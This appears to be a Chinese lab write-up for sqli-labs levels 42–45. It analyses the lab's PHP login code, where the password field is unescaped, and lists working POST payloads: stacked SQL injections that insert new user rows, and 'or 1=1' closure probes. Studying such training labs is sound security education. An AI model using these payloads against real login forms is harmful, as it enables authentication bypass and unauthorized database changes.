Less 42
基于存储_POST_单引号_字符型_堆叠注入
0x01. 源码分析
看着和 Less 24 一样,是一个相对完整的网站,实际上不只少了点什么…
没有忘记密码和注册功能…一样的硬核。
登录界面源码:
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
修改密码源码:
$username = $_SESSION["username"];
$curr_pass = mysql_real_escape_string($_POST['current_password']);
$pass = mysql_real_escape_string($_POST['password']);
$re_pass = mysql_real_escape_string($_POST['re_password']);
因为没有注册功能,所以登录成功后的修改密码便没有什么作用,不能像 Less 24 一样构造用户名进行平行越权。所以不用考虑在更新密码处进行注入,这关和二次注入的思路是不一样的。
二次注入即update
的数据(这关经过mysql_real_escape_string()
处理),存入到数据库当中,在下一次select
调用的时候发挥作用。详细可参考 Less 24。
0x02. 注入过程
这里网上的大部分包括《注入天书》只写了如何创建与删除一个表,感觉并没有用。
这里仍像 Less 38 - Less 41 一样,创建新的用户信息(即插入数据 / 注册)。
因有 MySQL 报错信息,可以看出是单引号闭合。
login_user=admin&login_password=1';insert+into+users+values(42,'Less42','Less42')--+
接下来就可以利用盲注脚本跑整个数据库的信息了(注意过滤)。
Less 43
基于存储_POST_单引号_小括号_字符型_堆叠注入
与 Less 42 相似,有 MySQL 报错信息。
login_user=admin&login_password=1');insert+into+users+values(43,'Less43','Less43')--+
Less 44
基于存储_POST_单引号_字符型_盲注_堆叠注入
除了没有 MySQL 报错信息,其他的没有变化。
当 POST 没有报错回显时,判断查询语句就需要构造永真条件同化登录失败与查询出错,通过返回的图片不同来确定是否符合查询语句闭合的条件,参考 Less 15。
login_user=admin&login_password=1 or 1=1--+
login_user=admin&login_password=1' or 1=1--+
login_user=admin&login_password=1" or 1=1--+
login_user=admin&login_password=1') or 1=1--+
login_user=admin&login_password=1") or 1=1--+
得出为单引号闭合:
login_user=admin&login_password=1';insert into users values(44,'Less44','Less44')--+
Less 45
基于存储_POST_单引号_小括号_字符型_盲注_堆叠注入
同 Less 45,闭合增加了小括号。
login_user=admin&login_password=1');insert into users values(45,'Less45','Less45')--+